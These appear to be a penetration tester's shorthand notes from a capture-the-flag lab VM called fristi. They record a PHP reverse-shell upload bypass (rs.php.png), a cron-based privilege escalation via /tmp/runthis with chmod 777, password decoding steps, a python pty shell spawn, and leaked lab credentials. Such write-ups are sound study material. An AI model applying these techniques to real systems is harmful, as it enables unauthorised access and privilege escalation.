192.168.1.24
nmap:
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
maybe centos 6.8
nikto:
/cola
/sisi
/beer
/robots.txt
/icons
/images
/icons/README
login page: http://192.168.1.24/fristi/
from source code:
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.
- by eezeepz
and two base64-encoded pictures.
username eezeepz, password keKkeKKeKKeKkEkkEk
upload bypass:
rename rs.php to rs.php.png
centos 6.7
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin
cat /var/www/notes.txt hey eezeepz your homedir is a mess, go clean it up, just dont delete the important stuff. -jerry
cat /var/www/notes.txt hey eezeepz your homedir is a mess, go clean it up, just dont delete the important stuff. -jerry
cat /home/eezeepz/notes.txt
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don't forget to specify the full path for each binary!
Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry
privilege escalation:
echo “/home/admin/chmod -R 777 /home/admin” > /tmp/runthis
cd /home/admin
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
cat cryptpass.py
rot13 decode->reverse->base64 decode
mVGZ3O3omkJLmy2pcuTq->thisisalsopw123
=RFn0AKnlMHMPIzpyuTI0ITG->LetThereBeFristi!
username fristigod, password LetThereBeFristi!
switch to tty:
python -c "import pty; pty.spawn('/bin/bash')"
switch to tty:
python -c "import pty; pty.spawn('/bin/bash')"
head /var/www/html/fristi/checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="eezeepz"; // Mysql username
$password="4ll3maal12#"; // Mysql password
$db_name="hackmenow"; // Database name
$tbl_name="members"; // Table name
